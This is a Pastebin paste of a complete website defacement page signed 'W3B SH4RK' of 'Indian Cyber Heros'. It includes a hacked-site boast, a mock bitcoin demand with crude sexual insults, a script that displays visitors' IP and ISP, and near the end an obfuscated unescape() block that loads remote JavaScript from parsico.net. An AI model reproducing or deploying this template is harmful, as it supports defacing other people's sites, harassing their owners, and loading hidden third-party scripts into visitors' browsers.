Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title> -=[INDIAN CYBER HEROS ~ HINDUSTAN ZINDABAD ~ W3B SH4RK]=- </title>
- <link rel="SHORTCUT ICON" href="https://imgur.com/NtcD4QB.jpg">
- <meta name="Author" content="-=[W3B.SH4RK]=-">
- <meta name="copyright" content="-=[W3B.SH4RK]=-">
- <meta name="description" content="LMAO,Yewr Dummy Site and Secuirity Was Breached By -=[W3B.SH4RK]=- From -=(INDIAN CYBER HEROS)=-">
- <meta name="keywords" content="Shit Security,Security Breached,">
- <meta property="og:title" content="-=(W3B.SH4RK)=-">
- <meta property="og:image" content="https://s8.postimg.cc/a3di82gk5/X-_SILENCE_6.png">
- <meta property="og:description" content="-=[INDIAN CYBER HEROS ~ HINDUSTAN ZINDABAD]=-">
- <link href="https://a1.muscache.com/airbnb/static/packages/common_o2.1-pretzel-63569659624b0120e962749578cae707.css" media="all" rel="stylesheet" type="text/css">
- <link rel="stylesheet" type="text/css" href="https://csshake.surge.sh/csshake.min.css">
- <link href="https://fonts.googleapis.com/css?family=Iceland" rel="stylesheet">
- <link href="https://fonts.googleapis.com/css?family=Keania+One" rel="stylesheet">
- <link href="https://fonts.googleapis.com/css?family=Megrim" rel="stylesheet">
- <link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
- <script type="text/javascript">
- var rev = "fwd";
- function titlebar(val)
- {
- var msg = "[W3B.5H4RK ~ HINDUSTAN ZINDABAD ~ INDIAN CYBER HEROS]";
- var res = " ";
- var speed = 50
- var pos = val;
- msg = "-="+msg+"=-";
- var le = msg.length;
- if(rev == "fwd"){
- if(pos < le){
- pos = pos+1;
- scroll = msg.substr(0,pos);
- document.title = scroll;
- timer = window.setTimeout("titlebar("+pos+")",speed);
- }
- else{
- rev = "bwd";
- timer = window.setTimeout("titlebar("+pos+")",speed);
- }
- }
- else{
- if(pos > 0){
- pos = pos-1;
- var ale = le-pos;
- scrol = msg.substr(ale,le);
- document.title = scrol;
- timer = window.setTimeout("titlebar("+pos+")",speed);
- }
- else{
- rev = "fwd";
- timer = window.setTimeout("titlebar("+pos+")",speed);
- }
- }
- }
- titlebar(0);
- </script>
- <style type="text/css">
- body{
- background-image:url("http://bestanimations.com/Nature/Fire/fire-animated-gif-4.gif");
- background-color:#000;
- background-size:100% 100%;
- background-size:-webkit-100% 100%;
- background-size:-moz-webkit- 100% 100%;
- background-size:-o-webkit-100% 100%;
- background-repeat:no-repeat;
- }
- h2{
- color:white;
- font-size:22pt;
- font-family:"Orbitron";
- font-weight:bold;
- text-shadow:0 0 5px #00A9BE, 0 0 10px #1ab4e7, 0 0 30px #18a2d0, 0 0 45px #000;
- }
- .container {
- height: 100%;
- width: 100%;
- justify-content: center;
- align-items: center;
- display: flex;
- }
- .text {
- font-weight: 100;
- font-size: 28px;
- color: #FAFAFA;
- font-family: Iceland;
- text-shadow: 0 0 0.5em cyan, 0 0 0.5em cyan;
- }
- .dud {
- color: #757575;
- }
- .animation-container {
- position: fixed;
- top: 0;
- left: 0;
- right: 0;
- bottom: 0;
- z-index: 1;
- }
- .animation-container span {
- color: grey;
- display: block;
- font-size: 20px;
- font-family: 'Iceland';
- text-shadow: 0 0 5px orange;
- position: absolute;
- user-select: none;
- pointer-events: none;
- cursor: default;
- z-index: 1;
- opacity: 0;
- will-change: transform, opacity;
- animation-timing-function: ease-out;
- animation-name: move;
- }
- @keyframes move {
- 0% {
- opacity: 0;
- transform: translateY(100vh);
- }
- 25% {
- opacity: 1;
- }
- 50% {
- opacity: 1;
- }
- 75% {
- opacity: 0;
- }
- 100% {
- opacity: 0;
- transform: none;
- }
- }
- .buzz_wrapper{
- position:relative;
- width:100%;
- margin:180px auto;
- background-attachment: fixed;
- background-image: url(http://i.imgur.com/9QpJPlG.jpg);
- background-position: 0 0;
- background-repeat: no-repeat ;
- background-size:cover;
- overflow : hidden;
- overflow:hidden;
- padding:100px;
- }
- .scanline{
- width:100%;
- display:block;
- background:#000;
- height:4px;
- position:relative;
- z-index:3;
- margin-bottom:5px;
- opacity:0.1;
- }
- .buzz_wrapper span{
- position:absolute;
- -webkit-filter: blur(1px);
- font-size:30px;
- font-family:'Courier new', fixed;
- font-weight:bold;
- }
- .buzz_wrapper span:nth-child(1){
- color:red;
- margin-left:-2px;
- -webkit-filter: blur(2px);
- }
- .buzz_wrapper span:nth-child(2){
- color:green;
- margin-left:2px;
- -webkit-filter: blur(2px);
- }
- .buzz_wrapper span:nth-child(3){
- color:blue;
- position:20px 0;
- -webkit-filter: blur(1px);
- }
- .buzz_wrapper span:nth-child(4){
- color:#fff;
- -webkit-filter: blur(1px);
- text-shadow:0 0 50px rgba(255,255,255,0.4);
- }
- .buzz_wrapper span:nth-child(5){
- color:rgba(255,255,255,0.4);
- -webkit-filter: blur(15px);
- }
- .buzz_wrapper span{
- -webkit-animation: blur 30ms infinite, jerk 50ms infinite;
- }
- @-webkit-keyframes blur {
- 0% { -webkit-filter: blur(1px); opacity:0.8;}
- 50% { -webkit-filter: blur(1px); opacity:1; }
- 100%{ -webkit-filter: blur(1px); opacity:0.8; }
- }
- @-webkit-keyframes jerk {
- 50% { left:1px; }
- 51% { left:0; }
- }
- @-webkit-keyframes jerkup {
- 50% { top:1px; }
- 51% { top:0; }
- }
- .buzz_wrapper span:nth-child(3){
- -webkit-animation: jerkblue 1s infinite;
- }
- @-webkit-keyframes jerkblue {
- 0% { left:0; }
- 30% { left:0; }
- 31% { left:10px; }
- 32% { left:0; }
- 98% { left:0; }
- 100% { left:10px; }
- }
- .buzz_wrapper span:nth-child(2){
- -webkit-animation: jerkgreen 1s infinite;
- }
- @-webkit-keyframes jerkgreen {
- 0% { left:0; }
- 30% { left:0; }
- 31% { left:-10px; }
- 32% { left:0; }
- 98% { left:0; }
- 100% { left:-10px; }
- }
- .buzz_wrapper .text{
- -webkit-animation: jerkwhole 5s infinite;
- position:relative;
- }
- @-webkit-keyframes jerkwhole {
- 30% { }
- 40% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
- 41% { opacity:0.8; top:0px; left:-100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(50deg,0);}
- 42% { opacity:0.8; top:0px; left:100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(-80deg,0);}
- 43% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
- 65% { }
- }
- </style>
- <body><center>
- <div style="position: fixed; top: 75px; left: -225px; width: 600px; padding: 10px; font-size: 24px; text-align: center; color: white; font-family: 'trebuchet ms', verdana, arial, sans-serif;transform: rotate(-45deg);transform-origin: 50% 0px;-o-transform: rotate(-45deg); -o-transform-origin: 50% 0px;-moz-transform: rotate(-45deg); -moz-transform-origin: 50% 0px; -webkit-transform: rotate(-45deg); -webkit-transform-origin: 50% 0px; background-color: Transparent; border: 1px solid rgb(170, 170, 170); z-index: 9999; opacity: 0.50;"><span style="color: orange;">Indian </span><span style="color: white;">Cyber </span><span style="color: green;">Heros</span></div><br><br>
- <img src="https://s22.postimg.cc/xa8xef4tt/ich.png" style="height: 270px;"/>
- <div class="text"></div>
- <font color="#9500fd" size="4"></font>
- <p>
- <script language="JavaScript">
- VIH_BackColor = "black";
- VIH_ForeColor = "white";
- VIH_FontPix = "15";
- VIH_DisplayFormat = "Your IP, %%IP%% . Your ISP, %%HOST%%"; VIH_DisplayOnPage = "yes";
- </script>
- <script language="JavaScript" src="http://scripts.hashemian.com/js/visitorIPHOST.js.php">
- </script>
- </p>
- <span style="color: orange; font-family: Iceland; font-size: 20px;"> SELECT FINGER FROM HAND WHERE ID = 3 </span>
- <marquee behavior="scroll" direction="right" scrollamount="80" scrolldelay="80" width="100%"><font color="orange"> _____________________________________ </font></marquee>
- <span style="color: white; font-family: Iceland; font-size: 20px;"> YOUR SITE HAS BEEN FUCKED , GIVE ME 0.05 BTC AND M.I.L.F OR I WILL BE COMEBACK TO YOUR SITE AND CUM IN YOUR MOM'S VAGINA HAHA, <br> CALM JUST KIDDING , GO FIX IT IM JUST HORNY , IM NEED M.I.L.F NOW , IF YOU HAVE PLEASE CONTACT ME xD </span><br>
- <marquee behavior="scroll" direction="left" scrollamount="80" scrolldelay="80" width="100%"><font color="white"> _____________________________________ </font></marquee>
- <span style="color: grey; font-family: Iceland; font-size: 20px;"> W3B SH4RK :- <marquee behavior="alternate" onmouseover="this.stop()" onmouseout="this.start()" scrollamount="100" scrolldelay="600" direction="right" truespeed="truespeed" width="80%"> <font color ="Orange" font-size="20" ><b><b>WE ARE INDIAN ~ WE ARE NOT TERRORISTS </font><font color ="white"> WE ARE NOT VANDALS ~ WE ARE ONLY THE REVOLUTION <font color ="green"> WE ARE INDIAN CYBER HEROS </font></span></span></span></span></marquee>
- <marquee behavior="scroll" direction="right" scrollamount="80" scrolldelay="80" width="100%"><font color="green"> _____________________________________ </font></marquee><br>
- <span style="color: grey; font-family: Iceland; font-size: 19px;"><b><b>FAMILY :- <font color ="orange">H4M4573R ~ W3BSH4RK ~1n51d3H4ck3r1337 ~ FR3D3R1K V410 ~ DutchM@n ~ TINYUMBRELLA ~ C1PH3R ~ P4rg0l ~ XYBER WORM ~ 4r5h d0rk ~ </font><br><font color ="white">BL@CKC0Br4 ~ VIRTUAL_CODER ~ N0N53N53 ~ Depressed_man ~ web_dragon ~ Toxic_venom ~ Bug_Vaulter ~ Proboi1337 ~ Mr proton ~ mr.n00b ~ </font><br><font color ="white">D4N73_Dante ~ Gujjar_Ghost ~ K0n4l h4x0r ~ MR.NOOB ~ DarkLor4 ~ R3b3l kn1gh7 ~ </font><br><font color ="green">!hacker 101 ~ Luc!f@r-D3str0y3r ~ n0b1t4 ~ Pr0ton ~ V4ul73r ~ SH1NCH4N ~ HAX0RB0I ~ Yush ~ FUCK3RSPRO </font></span></b></b>
- <div style="display: block; margin-top: 25px;">
- <span style="float: left; margin-left: 50px; font-size: 17px; margin-top: 3px; line-height: 12px;">
- <span style="color: orange;"><b><b> -= W3B </span><span style="color: white;">SH4RK </span><span style="color: green;">H3R3 =- </b></b></span>
- </span>
- <span style="float: right; margin-right: 50px; font-size: 17px;">
- <span style="color: orange;"><b><b> -= INDIAN </span><span style="color: white;">CYBER</span><span style="color: green;"> HEROS =- </b></b></span></span>
- <script language="javascript">
- var text='-=(W3B SH4RK)=-';
- var delay=5;
- var Xoff=0;
- var Yoff=-30;
- var txtw=10;
- var beghtml='<font face="Agency FB" color="orange" style="" size="4em"><b>';
- var endhtml='</b></font>';
- ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true: false;
- ie4 = (document.all && !document.getElementById)? true : false;
- ie5 = (document.all && document.getElementById)? true : false;
- ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;
- var txtA=new Array();
- text=text.split('');
- var x1=0;
- var y1=-50;
- var t='';
- for(i=1;i<=text.length;i++){
- t+=(ns4)? '<layer left="0" top="-100" width="'+txtw+'" name="txt'+i+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';
- t+=beghtml+text[i-1]+endhtml;
- t+=(ns4)? '</layer>' : '</div>';
- }
- document.write(t);
- function moveid(id,x,y){
- if(ns4)id.moveTo(x,y);
- else{
- id.style.left=x+'px';
- id.style.top=y+'px';
- }}
- function animate(evt){
- x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);
- y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);
- }
- function getidleft(id){
- if(ns4)return id.left;
- else return parseInt(id.style.left);
- }
- function getidtop(id){
- if(ns4)return id.top;
- else return parseInt(id.style.top);
- }
- function getwindowwidth(){
- if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;
- else return window.innerWidth+pageXOffset;
- }
- function movetxts(){
- for(i=text.length;i>1;i=i-1){
- if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){
- moveid(txtA[i-1],0,-100);
- moveid(txtA[i],0,-100);
- }else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));
- }
- moveid(txtA[1],x1,y1);
- }
- window.onload=function(){
- for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);
- if(ns4)document.captureEvents(Event.MOUSEMOVE);
- document.onmousemove=animate;
- setInterval('movetxts()',delay);
- }
- </script>
- <script src="http://e-mete.com/js/kdsnow.js"></script>
- <script src="http://www.schillmania.com/projects/snowstorm/snowstorm-min.js" type="text/javascript"></script>
- <script Language='Javascript'>
- <!--
- document.write(unescape('%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%68%74%6D%6C%2C%62%6F%64%79%7B%68%65%69%67%68%74%3A%31%30%30%25%3B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%7D%75%6C%2C%6C%69%7B%74%65%78%74%2D%69%6E%64%65%6E%74%3A%30%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%7D%69%6D%67%7B%62%6F%72%64%65%72%3A%30%7D%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%30%30%30%3B%63%6F%6C%6F%72%3A%23%39%39%39%3B%66%6F%6E%74%3A%31%30%30%25%2F%31%38%70%78%20%68%65%6C%76%65%74%69%63%61%2C%61%72%69%61%6C%2C%73%61%6E%73%2D%73%65%72%69%66%7D%63%61%6E%76%61%73%7B%63%75%72%73%6F%72%3A%63%72%6F%73%73%68%61%69%72%3B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%3B%6C%65%66%74%3A%30%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%7A%2D%69%6E%64%65%78%3A%32%30%7D%23%68%65%61%64%65%72%20%69%6D%67%7B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%32%30%25%7D%23%62%67%20%69%6D%67%7B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%38%30%25%7D%23%68%65%61%64%65%72%2C%23%62%67%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%7A%2D%69%6E%64%65%78%3A%31%30%7D%23%68%65%61%64%65%72%7B%74%6F%70%3A%30%7D%23%62%67%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%6F%74%74%6F%6D%3A%30%7D%61%75%64%69%6F%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%62%6F%74%74%6F%6D%3A%30%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%77%69%64%74%68%3A%31%30%30%25%3B%7A%2D%69%6E%64%65%78%3A%35%7D%2E%77%65%62%64%65%73%69%67%6E%7B%77%69%64%74%68%3A%33%30%25%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%6C%65%66%74%3A%30%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%74%61%68%6F%6D%61%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%63%6F%6C%6F%72%3A%23%32%33%32%33%32%33%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%31%70%78%7D%2E%77%65%62%64%65%73%69%67%6E%32%7B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%72%69%67%68%74%3A%30%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%74%61%68%6F%6D%61%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%63%6F%6C%6F%72%3A%23%32%33%32%33%32%33%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%31%70%78%7D%23%62%67%69%6D%67%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%7D%23%62%67%69%6D%67%31%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%7D%40%6D%65%64%69%61%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%61%78%2D%77%69%64%74%68%3A%35%30%30%70%78%29%7B%23%62%67%69%6D%67%31%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%7D%23%62%67%69%6D%67%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%7D%7D%3C%2F%73%74%79%6C%65%3E%0A'));
- document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%61%72%73%69%63%6F%2E%6E%65%74%2F%70%61%67%65%73%2F%66%77%2F%73%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%61%72%73%69%63%6F%2E%6E%65%74%2F%70%61%67%65%73%2F%66%77%2F%66%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
- //-->
- </Script>
- <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/howler/2.0.3/howler.min.js"></script>
- <script type="text/javascript">
- var sound = new Howl({src: ['https://f.top4top.net/m_930jq6c41.mp3?dl=0'],loop: true,autoplay: true});
- sound.play();
- </script>
- <script >class TextScramble {
- constructor(el) {
- this.el = el
- this.chars = '!@#$%^&*()_-=+{}:"|<>?,./;'
- this.update = this.update.bind(this)
- }
- setText(newText) {
- const oldText = this.el.innerText
- const length = Math.max(oldText.length, newText.length)
- const promise = new Promise((resolve) => this.resolve = resolve)
- this.queue = []
- for (let i = 0; i < length; i++) {
- const from = oldText[i] || ''
- const to = newText[i] || ''
- const start = Math.floor(Math.random() * 40)
- const end = start + Math.floor(Math.random() * 40)
- this.queue.push({ from, to, start, end })
- }
- cancelAnimationFrame(this.frameRequest)
- this.frame = 0
- this.update()
- return promise
- }
- update() {
- let output = ''
- let complete = 0
- for (let i = 0, n = this.queue.length; i < n; i++) {
- let { from, to, start, end, char } = this.queue[i]
- if (this.frame >= end) {
- complete++
- output += to
- } else if (this.frame >= start) {
- if (!char || Math.random() < 0.28) {
- char = this.randomChar()
- this.queue[i].char = char
- }
- output += `<span class="dud">${char}</span>`
- } else {
- output += from
- }
- }
- this.el.innerHTML = output
- if (complete === this.queue.length) {
- this.resolve()
- } else {
- this.frameRequest = requestAnimationFrame(this.update)
- this.frame++
- }
- }
- randomChar() {
- return this.chars[Math.floor(Math.random() * this.chars.length)]
- }
- }
- const phrases = [
- ':: W3B SH4RK H3R3 ::',
- ':: INDIAN CYBER HEROS ::',
- ':: HINDUST4N ZIND4B4D ::',
- ':: SECUIRITY IS AN ILLUSION ::',
- ':: Y0U H4V3 B33N H4CK3D ::',
- ':: J4I HIND - J4I BH4R4T ::',
- ]
- const el = document.querySelector('.text')
- const fx = new TextScramble(el)
- let counter = 0
- const next = () => {
- fx.setText(phrases[counter]).then(() => {
- setTimeout(next, 1500)
- })
- counter = (counter + 1) % phrases.length
- }
- next()
- 'use strict';
- var app = {
- chars: [''],
- init: function () {
- app.container = document.createElement('div');
- app.container.className = 'animation-container';
- document.body.appendChild(app.container);
- window.setInterval(app.add, 100);
- },
- add: function () {
- var element = document.createElement('span');
- app.container.appendChild(element);
- app.animate(element);
- },
- animate: function (element) {
- var character = app.chars[Math.floor(Math.random() * app.chars.length)];
- var duration = Math.floor(Math.random() * 15) + 1;
- var offset = Math.floor(Math.random() * (50 - duration * 2)) + 3;
- var size = 10 + (15 - duration);
- element.style.cssText = 'right:'+offset+'vw; font-size:'+size+'px;animation-duration:'+duration+'s';
- element.innerHTML = character;
- window.setTimeout(app.remove, duration * 1000, element);
- },
- remove: function (element) {
- element.parentNode.removeChild(element);
- },
- };
- document.addEventListener('DOMContentLoaded', app.init);
- //# sourceURL=pen.js
- </script>
- <script>
- var bits=50; // how many bits
- var speed=20; // how fast - smaller is faster
- var bangs=9; // how many can be launched simultaneously (note that using too many can slow the script down)
- var colours=new Array("#03f", "#f03", "#0e0", "#93f", "#0cf", "#f93", "#f0c");
- var bangheight=new Array();
- var intensity=new Array();
- var colour=new Array();
- var Xpos=new Array();
- var Ypos=new Array();
- var dX=new Array();
- var dY=new Array();
- var stars=new Array();
- var decay=new Array();
- var swide=800;
- var shigh=600;
- var boddie;
- window.onload=function() { if (document.getElementById) {
- var i;
- boddie=document.createElement("div");
- boddie.style.position="fixed";
- boddie.style.top="0px";
- boddie.style.left="0px";
- boddie.style.overflow="visible";
- boddie.style.width="1px";
- boddie.style.height="1px";
- boddie.style.backgroundColor="transparent";
- document.body.appendChild(boddie);
- set_width();
- for (i=0; i<bangs; i++) {
- write_fire(i);
- launch(i);
- setInterval('stepthrough('+i+')', speed);
- }
- }}
- function write_fire(N) {
- var i, rlef, rdow;
- stars[N+'r']=createDiv('|', 12);
- boddie.appendChild(stars[N+'r']);
- for (i=bits*N; i<bits+bits*N; i++) {
- stars[i]=createDiv('*', 13);
- boddie.appendChild(stars[i]);
- }
- }
- function createDiv(char, size) {
- var div=document.createElement("div");
- div.style.font=size+"px monospace";
- div.style.position="absolute";
- div.style.backgroundColor="transparent";
- div.appendChild(document.createTextNode(char));
- return (div);
- }
- function launch(N) {
- colour[N]=Math.floor(Math.random()*colours.length);
- Xpos[N+"r"]=swide*0.5;
- Ypos[N+"r"]=shigh-5;
- bangheight[N]=Math.round((0.5+Math.random())*shigh*0.4);
- dX[N+"r"]=(Math.random()-0.5)*swide/bangheight[N];
- if (dX[N+"r"]>1.25) stars[N+"r"].firstChild.nodeValue="/";
- else if (dX[N+"r"]<-1.25) stars[N+"r"].firstChild.nodeValue="\\";
- else stars[N+"r"].firstChild.nodeValue="|";
- stars[N+"r"].style.color=colours[colour[N]];
- }
- function bang(N) {
- var i, Z, A=0;
- for (i=bits*N; i<bits+bits*N; i++) {
- Z=stars[i].style;
- Z.left=Xpos[i]+"px";
- Z.top=Ypos[i]+"px";
- if (decay[i]) decay[i]--;
- else A++;
- if (decay[i]==15) Z.fontSize="7px";
- else if (decay[i]==7) Z.fontSize="2px";
- else if (decay[i]==1) Z.visibility="hidden";
- Xpos[i]+=dX[i];
- Ypos[i]+=(dY[i]+=1.25/intensity[N]);
- }
- if (A!=bits) setTimeout("bang("+N+")", speed);
- }
- function stepthrough(N) {
- var i, M, Z;
- var oldx=Xpos[N+"r"];
- var oldy=Ypos[N+"r"];
- Xpos[N+"r"]+=dX[N+"r"];
- Ypos[N+"r"]-=4;
- if (Ypos[N+"r"]<bangheight[N]) {
- M=Math.floor(Math.random()*3*colours.length);
- intensity[N]=5+Math.random()*4;
- for (i=N*bits; i<bits+bits*N; i++) {
- Xpos[i]=Xpos[N+"r"];
- Ypos[i]=Ypos[N+"r"];
- dY[i]=(Math.random()-0.5)*intensity[N];
- dX[i]=(Math.random()-0.5)*(intensity[N]-Math.abs(dY[i]))*1.25;
- decay[i]=16+Math.floor(Math.random()*16);
- Z=stars[i];
- if (M<colours.length) Z.style.color=colours[i%2?colour[N]:M];
- else if (M<2*colours.length) Z.style.color=colours[colour[N]];
- else Z.style.color=colours[i%colours.length];
- Z.style.fontSize="13px";
- Z.style.visibility="visible";
- }
- bang(N);
- launch(N);
- }
- stars[N+"r"].style.left=oldx+"px";
- stars[N+"r"].style.top=oldy+"px";
- }
- window.onresize=set_width;
- function set_width() {
- var sw_min=999999;
- var sh_min=999999;
- if (document.documentElement && document.documentElement.clientWidth) {
- if (document.documentElement.clientWidth>0) sw_min=document.documentElement.clientWidth;
- if (document.documentElement.clientHeight>0) sh_min=document.documentElement.clientHeight;
- }
- if (typeof(self.innerWidth)!="undefined" && self.innerWidth) {
- if (self.innerWidth>0 && self.innerWidth<sw_min) sw_min=self.innerWidth;
- if (self.innerHeight>0 && self.innerHeight<sh_min) sh_min=self.innerHeight;
- }
- if (document.body.clientWidth) {
- if (document.body.clientWidth>0 && document.body.clientWidth<sw_min) sw_min=document.body.clientWidth;
- if (document.body.clientHeight>0 && document.body.clientHeight<sh_min) sh_min=document.body.clientHeight;
- }
- if (sw_min==999999 || sh_min==999999) {
- sw_min=800;
- sh_min=600;
- }
- swide=sw_min;
- shigh=sh_min;
- }
- </script>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement